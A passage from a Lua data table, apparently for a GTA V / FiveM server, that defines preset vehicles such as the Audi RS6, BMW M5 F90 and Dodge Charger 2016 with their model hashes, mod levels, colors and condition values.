-1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["model"] = 216350205,["modHorns"] = -1,["modBrakes"] = 2,["modEngine"] = 3,["modRoof"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["engineHealth"] = 1000.0,["modHood"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modExhaust"] = 0,}},
1314 {name = 'Audi RS4 Avant', props = {["modLivery"] = -1,["xenonColor"] = 255,["model"] = -2019421579,["extras"] = { ["3"] = true,} ,["modTurbo"] = 1,["suspensionRaise"] = -0.029999999329448,["dirtLevel"] = 10.1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["modTransmission"] = 2,["modSideSkirt"] = 1,["modHood"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSmokeEnabled"] = 1,["modArchCover"] = -1,["modTrimA"] = -1,["engineHealth"] = 1000.0,["modAirFilter"] = -1,["modTrimB"] = -1,["modAerials"] = -1,["modStruts"] = -1,["modGrille"] = -1,["modHydrolic"] = -1,["pearlescentColor"] = 0,["modTrunk"] = -1,["modSpeakers"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["modDial"] = -1,["modSeats"] = -1,["fuelLevel"] = 60.0,["modArmor"] = 4,["modSteeringWheel"] = -1,["modShifterLeavers"] = -1,["modFrontWheels"] = -1,["modAPlate"] = -1,["modXenon"] = 1,["windowTint"] = 1,["modFrame"] = -1,["modDashboard"] = -1,["modOrnaments"] = -1,["color2"] = 12,["wheels"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modBackWheels"] = -1,["modSuspension"] = 4,["modPlateHolder"] = -1,["modDoorSpeaker"] = -1,["modRightFender"] = -1,["modBrakes"] = 2,["modEngine"] = 3,["modFender"] = -1,["color1"] = 12,["modExhaust"] = -1,["modRoof"] = 0,["modHorns"] = -1,["modTank"] = -1,["modSpoilers"] = 2,["plateIndex"] = 1,["wheelColor"] = 12,["modEngineBlock"] = -1,["modRearBumper"] = -1,["modVanityPlate"] = -1,["modFrontBumper"] = 3,}},
1315 {name = 'Audi RS5 2014', props = {["modLivery"] = 0,["xenonColor"] = 255,["model"] = -1362824500,["extras"] = { } ,["modTurbo"] = 1,["suspensionRaise"] = -0.03999999538064,["dirtLevel"] = 4.1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["modTransmission"] = 2,["modSideSkirt"] = 0,["modHood"] = 2,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSmokeEnabled"] = 1,["modArchCover"] = -1,["modTrimA"] = -1,["engineHealth"] = 1000.0,["modAirFilter"] = -1,["modTrimB"] = -1,["modAerials"] = -1,["modStruts"] = -1,["modGrille"] = 2,["modHydrolic"] = -1,["pearlescentColor"] = 12,["modTrunk"] = -1,["modSpeakers"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["modDial"] = -1,["modSeats"] = -1,["fuelLevel"] = 60.0,["modArmor"] = 4,["modSteeringWheel"] = -1,["modShifterLeavers"] = -1,["modFrontWheels"] = -1,["modAPlate"] = -1,["modXenon"] = 1,["windowTint"] = -1,["modFrame"] = 1,["modDashboard"] = -1,["modOrnaments"] = -1,["color2"] = 29,["wheels"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modBackWheels"] = -1,["modSuspension"] = 2,["modPlateHolder"] = -1,["modDoorSpeaker"] = -1,["modRightFender"] = -1,["modBrakes"] = 2,["modEngine"] = 3,["modFender"] = -1,["color1"] = 23,["modExhaust"] = -1,["modRoof"] = -1,["modHorns"] = -1,["modTank"] = -1,["modSpoilers"] = -1,["plateIndex"] = 4,["wheelColor"] = 27,["modEngineBlock"] = -1,["modRearBumper"] = 1,["modVanityPlate"] = -1,["modFrontBumper"] = 2,}},
1316 {name = 'Audi RS6', props = {["modLivery"] = 0,["xenonColor"] = 255,["model"] = -1379807831,["extras"] = { } ,["modTurbo"] = 1,["suspensionRaise"] = -0.03999999910593,["dirtLevel"] = 4.2,["modWindows"] = -1,["bodyHealth"] = 1000.0,["modTransmission"] = 2,["modSideSkirt"] = -1,["modHood"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSmokeEnabled"] = 1,["modArchCover"] = -1,["modTrimA"] = -1,["engineHealth"] = 1000.0,["modAirFilter"] = -1,["modTrimB"] = -1,["modAerials"] = -1,["modStruts"] = -1,["modGrille"] = 1,["modHydrolic"] = -1,["pearlescentColor"] = 12,["modTrunk"] = -1,["modSpeakers"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["modDial"] = -1,["modSeats"] = -1,["fuelLevel"] = 60.0,["modArmor"] = 4,["modSteeringWheel"] = -1,["modShifterLeavers"] = -1,["modFrontWheels"] = -1,["modAPlate"] = -1,["modXenon"] = 1,["windowTint"] = 1,["modFrame"] = 0,["modDashboard"] = -1,["modOrnaments"] = -1,["color2"] = 28,["wheels"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modBackWheels"] = -1,["modSuspension"] = 2,["modPlateHolder"] = -1,["modDoorSpeaker"] = -1,["modRightFender"] = -1,["modBrakes"] = 2,["modEngine"] = 3,["modFender"] = 0,["color1"] = 12,["modExhaust"] = -1,["modRoof"] = -1,["modHorns"] = -1,["modTank"] = -1,["modSpoilers"] = -1,["plateIndex"] = 1,["wheelColor"] = 12,["modEngineBlock"] = -1,["modRearBumper"] = 1,["modVanityPlate"] = -1,["modFrontBumper"] = 2,}},
1317 {name = 'Audi RS7 2016', props = {["modLivery"] = 0,["xenonColor"] = 255,["model"] = -1071770374,["extras"] = { } ,["modTurbo"] = 1,["suspensionRaise"] = -0.03999999910593,["dirtLevel"] = 8.2,["modWindows"] = -1,["bodyHealth"] = 1000.0,["modTransmission"] = 2,["modSideSkirt"] = -1,["modHood"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSmokeEnabled"] = 1,["modArchCover"] = -1,["modTrimA"] = -1,["engineHealth"] = 1000.0,["modAirFilter"] = -1,["modTrimB"] = -1,["modAerials"] = -1,["modStruts"] = -1,["modGrille"] = -1,["modHydrolic"] = -1,["pearlescentColor"] = 12,["modTrunk"] = -1,["modSpeakers"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["modDial"] = -1,["modSeats"] = -1,["fuelLevel"] = 60.0,["modArmor"] = 4,["modSteeringWheel"] = -1,["modShifterLeavers"] = -1,["modFrontWheels"] = -1,["modAPlate"] = -1,["modXenon"] = 1,["windowTint"] = 1,["modFrame"] = -1,["modDashboard"] = -1,["modOrnaments"] = -1,["color2"] = 28,["wheels"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modBackWheels"] = -1,["modSuspension"] = 3,["modPlateHolder"] = -1,["modDoorSpeaker"] = -1,["modRightFender"] = -1,["modBrakes"] = 2,["modEngine"] = 3,["modFender"] = -1,["color1"] = 12,["modExhaust"] = -1,["modRoof"] = -1,["modHorns"] = -1,["modTank"] = -1,["modSpoilers"] = -1,["plateIndex"] = 4,["wheelColor"] = 0,["modEngineBlock"] = -1,["modRearBumper"] = -1,["modVanityPlate"] = -1,["modFrontBumper"] = 0,}},
1318 {name = 'Audi RSQ7 2016', props = {["modSteeringWheel"] = -1,["suspensionRaise"] = 0.0,["bodyHealth"] = 1000.0,["modFrontBumper"] = 0,["modLivery"] = -1,["modVanityPlate"] = -1,["modAPlate"] = -1,["extras"] = { ["1"] = true,["4"] = false,["3"] = false,} ,["modWindows"] = -1,["xenonColor"] = 255,["modTrimB"] = -1,["pearlescentColor"] = 12,["modTank"] = -1,["modTurbo"] = 1,["color1"] = 12,["modAirFilter"] = -1,["windowTint"] = 1,["modSideSkirt"] = -1,["color2"] = 3,["modSpeakers"] = -1,["fuelLevel"] = 65.0,["modArchCover"] = -1,["wheels"] = 3,["dirtLevel"] = 4.5,["modEngineBlock"] = -1,["modStruts"] = -1,["modSpoilers"] = 0,["modPlateHolder"] = -1,["modXenon"] = 1,["modRearBumper"] = 0,["modRightFender"] = 0,["modDial"] = -1,["modFrontWheels"] = -1,["modGrille"] = -1,["modHydrolic"] = -1,["modTrunk"] = -1,["modFrame"] = 0,["modAerials"] = -1,["modSmokeEnabled"] = 1,["modDashboard"] = -1,["modDoorSpeaker"] = -1,["modSeats"] = -1,["modSuspension"] = 3,["modTransmission"] = 2,["plateIndex"] = 1,["modShifterLeavers"] = -1,["wheelColor"] = 1,["modArmor"] = 4,["modTrimA"] = -1,["modFender"] = 0,["modBackWheels"] = -1,["modOrnaments"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["model"] = 119794591,["modHorns"] = -1,["modBrakes"] = 2,["modEngine"] = 3,["modRoof"] = -1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["engineHealth"] = 1000.0,["modHood"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modExhaust"] = -1,}},
1319
1320 {name = 'BMW 850 CSi', props = { ["modOrnaments"] = -1,["modTrimB"] = -1,["modTank"] = -1,["modFrontBumper"] = 1,["suspensionRaise"] = -0.019999999552965,["fuelLevel"] = 60.0,["modLivery"] = 0,["modBrakes"] = 2,["windowTint"] = 1,["modSideSkirt"] = 0,["modEngineBlock"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["pearlescentColor"] = 12,["modDoorSpeaker"] = -1,["modTransmission"] = 2,["modRoof"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSuspension"] = 3,["modTrunk"] = -1,["dirtLevel"] = 2.0,["modSteeringWheel"] = -1,["xenonColor"] = 255,["modArchCover"] = -1,["model"] = 444286472,["modAPlate"] = -1,["modHood"] = 0,["wheelColor"] = 28,["modRightFender"] = -1,["modXenon"] = 1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["engineHealth"] = 1000.0,["modHydrolic"] = -1,["modExhaust"] = 0,["modSmokeEnabled"] = 1,["modShifterLeavers"] = -1,["modSeats"] = -1,["extras"] = { } ,["modArmor"] = 4,["modTurbo"] = 1,["modTrimA"] = -1,["color1"] = 112,["modEngine"] = 3,["modVanityPlate"] = -1,["wheels"] = 0,["modFender"] = -1,["modPlateHolder"] = -1,["modRearBumper"] = 0,["modHorns"] = -1,["modFrontWheels"] = -1,["modBackWheels"] = -1,["modAirFilter"] = -1,["modDashboard"] = -1,["plateIndex"] = 4,["modDial"] = -1,["modStruts"] = -1,["modGrille"] = -1,["color2"] = 28,["modFrame"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSpeakers"] = -1,["modSpoilers"] = 0,["modAerials"] = -1,}},
1321 {name = 'BMW M3 F80', props = {["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["fuelLevel"] = 60.0,["suspensionRaise"] = -0.03999999538064,["modLivery"] = -1,["modWindows"] = -1,["modDashboard"] = -1,["bodyHealth"] = 1000.0,["windowTint"] = -1,["xenonColor"] = 255,["wheels"] = 0,["color1"] = 12,["modOrnaments"] = -1,["modXenon"] = 1,["modTrimB"] = -1,["modSeats"] = -1,["modAerials"] = 0,["modArchCover"] = 2,["modStruts"] = -1,["modArmor"] = 4,["modTransmission"] = 2,["extras"] = { ["2"] = false,["1"] = false,} ,["pearlescentColor"] = 12,["modSideSkirt"] = 0,["modTrunk"] = -1,["modAirFilter"] = -1,["modFrontWheels"] = -1,["modVanityPlate"] = 1,["modHydrolic"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modBackWheels"] = -1,["modSteeringWheel"] = -1,["modSpeakers"] = -1,["modSpoilers"] = 0,["modExhaust"] = 0,["modAPlate"] = -1,["color2"] = 28,["modDial"] = -1,["modRoof"] = 1,["modPlateHolder"] = 0,["modTank"] = -1,["modTrimA"] = -1,["modEngineBlock"] = 0,["modEngine"] = 3,["plateIndex"] = 1,["modRearBumper"] = 2,["modDoorSpeaker"] = -1,["modSmokeEnabled"] = 1,["modGrille"] = 1,["modTurbo"] = 1,["dirtLevel"] = 8.4,["modSuspension"] = 3,["modHorns"] = -1,["modHood"] = 1,["modBrakes"] = 2,["model"] = -580610645,["modShifterLeavers"] = -1,["modFender"] = -1,["wheelColor"] = 0,["modRightFender"] = -1,["engineHealth"] = 1000.0,["modFrame"] = 0,["modFrontBumper"] = 2,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,}}},
1322 {name = 'BMW M4 F82', props = {["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["fuelLevel"] = 60.0,["suspensionRaise"] = -0.049999997019768,["modLivery"] = 0,["modWindows"] = -1,["modDashboard"] = -1,["bodyHealth"] = 1000.0,["windowTint"] = 1,["xenonColor"] = 255,["wheels"] = 0,["color1"] = 134,["modOrnaments"] = -1,["modXenon"] = 1,["modTrimB"] = -1,["modSeats"] = -1,["modAerials"] = -1,["modArchCover"] = -1,["modStruts"] = -1,["modArmor"] = 4,["modTransmission"] = 3,["extras"] = { } ,["pearlescentColor"] = 134,["modSideSkirt"] = -1,["modTrunk"] = -1,["modAirFilter"] = -1,["modFrontWheels"] = -1,["modVanityPlate"] = -1,["modHydrolic"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modBackWheels"] = -1,["modSteeringWheel"] = -1,["modSpeakers"] = -1,["modSpoilers"] = 0,["modExhaust"] = 0,["modAPlate"] = -1,["color2"] = 111,["modDial"] = -1,["modRoof"] = -1,["modPlateHolder"] = -1,["modTank"] = -1,["modTrimA"] = -1,["modEngineBlock"] = -1,["modEngine"] = 3,["plateIndex"] = 1,["modRearBumper"] = 1,["modDoorSpeaker"] = -1,["modSmokeEnabled"] = 1,["modGrille"] = -1,["modTurbo"] = 1,["dirtLevel"] = 3.3,["modSuspension"] = 3,["modHorns"] = -1,["modHood"] = 0,["modBrakes"] = 3,["model"] = 909765281,["modShifterLeavers"] = -1,["modFender"] = -1,["wheelColor"] = 156,["modRightFender"] = -1,["engineHealth"] = 1000.0,["modFrame"] = -1,["modFrontBumper"] = 0,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,}}},
1323 {name = 'BMW M5 E60', props = { ["modOrnaments"] = -1,["modTrimB"] = -1,["modTank"] = -1,["modFrontBumper"] = 0,["suspensionRaise"] = -0.0099999997764826,["fuelLevel"] = 60.0,["modLivery"] = 2,["modBrakes"] = 2,["windowTint"] = 1,["modSideSkirt"] = -1,["modEngineBlock"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["pearlescentColor"] = 12,["modDoorSpeaker"] = -1,["modTransmission"] = 2,["modRoof"] = 0,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSuspension"] = 3,["modTrunk"] = -1,["dirtLevel"] = 9.0,["modSteeringWheel"] = -1,["xenonColor"] = 255,["modArchCover"] = 0,["model"] = 1969115674,["modAPlate"] = -1,["modHood"] = -1,["wheelColor"] = 134,["modRightFender"] = -1,["modXenon"] = 1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["engineHealth"] = 1000.0,["modHydrolic"] = -1,["modExhaust"] = 0,["modSmokeEnabled"] = 1,["modShifterLeavers"] = -1,["modSeats"] = -1,["extras"] = { ["12"] = true,} ,["modArmor"] = 4,["modTurbo"] = 1,["modTrimA"] = -1,["color1"] = 134,["modEngine"] = 3,["modVanityPlate"] = -1,["wheels"] = 0,["modFender"] = -1,["modPlateHolder"] = 0,["modRearBumper"] = -1,["modHorns"] = -1,["modFrontWheels"] = -1,["modBackWheels"] = 3,["modAirFilter"] = -1,["modDashboard"] = -1,["plateIndex"] = 1,["modDial"] = -1,["modStruts"] = -1,["modGrille"] = 0,["color2"] = 0,["modFrame"] = -1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSpeakers"] = -1,["modSpoilers"] = -1,["modAerials"] = 0,}},
1324 {name = 'BMW M5 F90', props = {["suspensionRaise"] = -0.059999998658895,["modSpoilers"] = 6,["modShifterLeavers"] = -1,["modTank"] = -1,["modXenon"] = 1,["modBackWheels"] = -1,["windowTint"] = 1,["modWindows"] = -1,["modRearBumper"] = 1,["modDashboard"] = -1,["color1"] = 134,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["modArchCover"] = -1,["modStruts"] = -1,["modAerials"] = -1,["modEngineBlock"] = -1,["modHydrolic"] = -1,["extras"] = { ["1"] = true,} ,["modSeats"] = -1,["modTrunk"] = -1,["modFender"] = -1,["model"] = 1093697054,["engineHealth"] = 1000.0,["modDial"] = -1,["color2"] = 2,["dirtLevel"] = 8.2,["modSpeakers"] = -1,["modAPlate"] = -1,["modDoorSpeaker"] = -1,["modSuspension"] = 3,["modSteeringWheel"] = -1,["modBrakes"] = 2,["pearlescentColor"] = 12,["modHorns"] = -1,["fuelLevel"] = 60.0,["modFrontBumper"] = 3,["modOrnaments"] = -1,["modGrille"] = 1,["modAirFilter"] = -1,["modRightFender"] = -1,["modPlateHolder"] = -1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modExhaust"] = 0,["modTrimA"] = -1,["modVanityPlate"] = -1,["modFrame"] = -1,["modTrimB"] = -1,["xenonColor"] = 255,["modSmokeEnabled"] = 1,["wheelColor"] = 89,["modArmor"] = 4,["modTransmission"] = 2,["bodyHealth"] = 1000.0,["modFrontWheels"] = -1,["modHood"] = 2,["modSideSkirt"] = 1,["modRoof"] = 0,["modLivery"] = -1,["modTurbo"] = 1,["wheels"] = 0,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modEngine"] = 3,["plateIndex"] = 1,}},
1325 {name = 'BMW M6 F13', props = {["modHydrolic"] = -1,["modFender"] = -1,["modLivery"] = -1,["modFrontBumper"] = -1,["windowTint"] = 1,["modTrimB"] = -1,["modAerials"] = -1,["wheelColor"] = 156,["fuelLevel"] = 59.9,["modTrimA"] = -1,["pearlescentColor"] = 12,["modVanityPlate"] = -1,["modFrame"] = -1,["suspensionRaise"] = -0.079999998211861,["modRearBumper"] = -1,["wheels"] = 0,["modEngine"] = 3,["modDoorSpeaker"] = -1,["modShifterLeavers"] = -1,["modAPlate"] = -1,["modSteeringWheel"] = -1,["modSeats"] = -1,["modRoof"] = -1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modDial"] = -1,["modTurbo"] = 1,["dirtLevel"] = 3.9,["modSmokeEnabled"] = 1,["modDashboard"] = -1,["modBrakes"] = 2,["modRightFender"] = -1,["modBackWheels"] = -1,["modExhaust"] = -1,["model"] = 1897898727,["color2"] = 8,["modArchCover"] = -1,["xenonColor"] = 255,["engineHealth"] = 1000.0,["modAirFilter"] = -1,["modPlateHolder"] = -1,["modOrnaments"] = -1,["modFrontWheels"] = -1,["modXenon"] = 1,["extras"] = { ["1"] = false,["2"] = false,} ,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["color1"] = 12,["modSpoilers"] = -1,["modArmor"] = 4,["modSuspension"] = 3,["modHorns"] = -1,["bodyHealth"] = 1000.0,["modTank"] = -1,["modSpeakers"] = -1,["modTrunk"] = -1,["modGrille"] = -1,["modEngineBlock"] = -1,["modSideSkirt"] = -1,["modWindows"] = -1,["plateIndex"] = 1,["modTransmission"] = 2,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["modHood"] = -1,["modStruts"] = -1,}},
1326 {name = 'BMW M8', props = {["modOrnaments"] = -1,["modTrimB"] = -1,["modTank"] = -1,["modFrontBumper"] = -1,["suspensionRaise"] = 0.0049999998882413,["fuelLevel"] = 60.0,["modLivery"] = 0,["modBrakes"] = 2,["windowTint"] = 1,["modSideSkirt"] = -1,["modEngineBlock"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["pearlescentColor"] = 12,["modDoorSpeaker"] = -1,["modTransmission"] = 2,["modRoof"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSuspension"] = 3,["modTrunk"] = -1,["dirtLevel"] = 3.6,["modSteeringWheel"] = -1,["xenonColor"] = 255,["modArchCover"] = -1,["model"] = -1404319008,["modAPlate"] = -1,["modHood"] = -1,["wheelColor"] = 28,["modRightFender"] = -1,["modXenon"] = 1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["engineHealth"] = 1000.0,["modHydrolic"] = -1,["modExhaust"] = -1,["modSmokeEnabled"] = 1,["modShifterLeavers"] = -1,["modSeats"] = -1,["extras"] = { ["10"] = true,} ,["modArmor"] = 4,["modTurbo"] = 1,["modTrimA"] = -1,["color1"] = 12,["modEngine"] = 3,["modVanityPlate"] = -1,["wheels"] = 0,["modFender"] = -1,["modPlateHolder"] = -1,["modRearBumper"] = -1,["modHorns"] = -1,["modFrontWheels"] = -1,["modBackWheels"] = 3,["modAirFilter"] = -1,["modDashboard"] = -1,["plateIndex"] = 1,["modDial"] = -1,["modStruts"] = -1,["modGrille"] = -1,["color2"] = 28,["modFrame"] = -1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSpeakers"] = -1,["modSpoilers"] = -1,["modAerials"] = -1,}},
1327 {name = 'BMW X6M', props = {["modOrnaments"] = -1,["modTrimB"] = -1,["modTank"] = -1,["modFrontBumper"] = 0,["suspensionRaise"] = -0.12999999523163,["fuelLevel"] = 60.0,["modLivery"] = 1,["modBrakes"] = 2,["windowTint"] = 1,["modSideSkirt"] = 0,["modEngineBlock"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["pearlescentColor"] = 12,["modDoorSpeaker"] = -1,["modTransmission"] = 2,["modRoof"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSuspension"] = 3,["modTrunk"] = -1,["dirtLevel"] = 3.6,["modSteeringWheel"] = -1,["xenonColor"] = 255,["modArchCover"] = -1,["model"] = -506359117,["modAPlate"] = -1,["modHood"] = 0,["wheelColor"] = 12,["modRightFender"] = -1,["modXenon"] = 1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["engineHealth"] = 1000.0,["modHydrolic"] = -1,["modExhaust"] = 1,["modSmokeEnabled"] = 1,["modShifterLeavers"] = -1,["modSeats"] = -1,["extras"] = { ["1"] = true,} ,["modArmor"] = 4,["modTurbo"] = 1,["modTrimA"] = -1,["color1"] = 12,["modEngine"] = 3,["modVanityPlate"] = -1,["wheels"] = 3,["modFender"] = -1,["modPlateHolder"] = -1,["modRearBumper"] = 0,["modHorns"] = -1,["modFrontWheels"] = -1,["modBackWheels"] = -1,["modAirFilter"] = -1,["modDashboard"] = -1,["plateIndex"] = 1,["modDial"] = -1,["modStruts"] = -1,["modGrille"] = -1,["color2"] = 28,["modFrame"] = -1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSpeakers"] = -1,["modSpoilers"] = 0,["modAerials"] = -1,}},
1328
1329 {name = 'Chevrolet Corvette C7', props = {["modOrnaments"] = -1,["modTrimB"] = -1,["modTank"] = -1,["modFrontBumper"] = 1,["suspensionRaise"] = -0.059999998658895,["fuelLevel"] = 60.0,["modLivery"] = 0,["modBrakes"] = 2,["windowTint"] = 1,["modSideSkirt"] = 0,["modEngineBlock"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["pearlescentColor"] = 12,["modDoorSpeaker"] = -1,["modTransmission"] = 2,["modRoof"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSuspension"] = 3,["modTrunk"] = -1,["dirtLevel"] = 6.4,["modSteeringWheel"] = -1,["xenonColor"] = 255,["modArchCover"] = -1,["model"] = 874739883,["modAPlate"] = -1,["modHood"] = 0,["wheelColor"] = 12,["modRightFender"] = -1,["modXenon"] = 1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["engineHealth"] = 1000.0,["modHydrolic"] = -1,["modExhaust"] = -1,["modSmokeEnabled"] = 1,["modShifterLeavers"] = -1,["modSeats"] = -1,["extras"] = { ["1"] = true,} ,["modArmor"] = 4,["modTurbo"] = 1,["modTrimA"] = -1,["color1"] = 134,["modEngine"] = 3,["modVanityPlate"] = -1,["wheels"] = 0,["modFender"] = -1,["modPlateHolder"] = -1,["modRearBumper"] = 0,["modHorns"] = -1,["modFrontWheels"] = -1,["modBackWheels"] = -1,["modAirFilter"] = -1,["modDashboard"] = -1,["plateIndex"] = 4,["modDial"] = -1,["modStruts"] = -1,["modGrille"] = -1,["color2"] = 134,["modFrame"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSpeakers"] = -1,["modSpoilers"] = 2,["modAerials"] = -1,}},
1330
1331 {name = 'Dodge Challenger 2016', props = {["modOrnaments"] = -1,["modTrimB"] = -1,["modTank"] = -1,["modFrontBumper"] = 5,["suspensionRaise"] = 0.0,["fuelLevel"] = 60.0,["modLivery"] = 0,["modBrakes"] = 2,["windowTint"] = 1,["modSideSkirt"] = 0,["modEngineBlock"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["pearlescentColor"] = 12,["modDoorSpeaker"] = -1,["modTransmission"] = 2,["modRoof"] = 0,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSuspension"] = 3,["modTrunk"] = -1,["dirtLevel"] = 7.5,["modSteeringWheel"] = -1,["xenonColor"] = 255,["modArchCover"] = -1,["model"] = -216150906,["modAPlate"] = -1,["modHood"] = 4,["wheelColor"] = 12,["modRightFender"] = 0,["modXenon"] = 1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["engineHealth"] = 1000.0,["modHydrolic"] = -1,["modExhaust"] = 0,["modSmokeEnabled"] = 1,["modShifterLeavers"] = -1,["modSeats"] = -1,["extras"] = { ["1"] = false,} ,["modArmor"] = 4,["modTurbo"] = 1,["modTrimA"] = -1,["color1"] = 28,["modEngine"] = 3,["modVanityPlate"] = -1,["wheels"] = 0,["modFender"] = 2,["modPlateHolder"] = -1,["modRearBumper"] = -1,["modHorns"] = -1,["modFrontWheels"] = -1,["modBackWheels"] = -1,["modAirFilter"] = -1,["modDashboard"] = -1,["plateIndex"] = 4,["modDial"] = -1,["modStruts"] = -1,["modGrille"] = 0,["color2"] = 28,["modFrame"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSpeakers"] = -1,["modSpoilers"] = 4,["modAerials"] = -1,}},
1332 {name = 'Dodge Charger 2016', props = {["modOrnaments"] = -1,["modTrimB"] = -1,["modTank"] = -1,["modFrontBumper"] = 6,["suspensionRaise"] = 0.0,["fuelLevel"] = 60.0,["modLivery"] = 4,["modBrakes"] = 2,["windowTint"] = 1,["modSideSkirt"] = 0,["modEngineBlock"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["pearlescentColor"] = 12,["modDoorSpeaker"] = -1,["modTransmission"] = 2,["modRoof"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSuspension"] = 3,["modTrunk"] = -1,["dirtLevel"] = 5.2,["modSteeringWheel"] = -1,["xenonColor"] = 255,["modArchCover"] = -1,["model"] = -1513691047,["modAPlate"] = -1,["modHood"] = 0,["wheelColor"] = 12,["modRightFender"] = 1,["modXenon"] = 1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["engineHealth"] = 1000.0,["modHydrolic"] = -1,["modExhaust"] = 2,["modSmokeEnabled"] = 1,["modShifterLeavers"] = -1,["modSeats"] = -1,["extras"] = { } ,["modArmor"] = 4,["modTurbo"] = 1,["modTrimA"] = -1,["color1"] = 12,["modEngine"] = 3,["modVanityPlate"] = -1,["wheels"] = 0,["modFender"] = 1,["modPlateHolder"] = -1,["modRearBumper"] = -1,["modHorns"] = -1,["modFrontWheels"] = -1,["modBackWheels"] = -1,["modAirFilter"] = -1,["modDashboard"] = -1,["plateIndex"] = 1,["modDial"] = -1,["modStruts"] = -1,["modGrille"] = -1,["color2"] = 28,["modFrame"] = -1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSpeakers"] = -1,["modSpoilers"] = 0,["modAerials"] = -1,}},
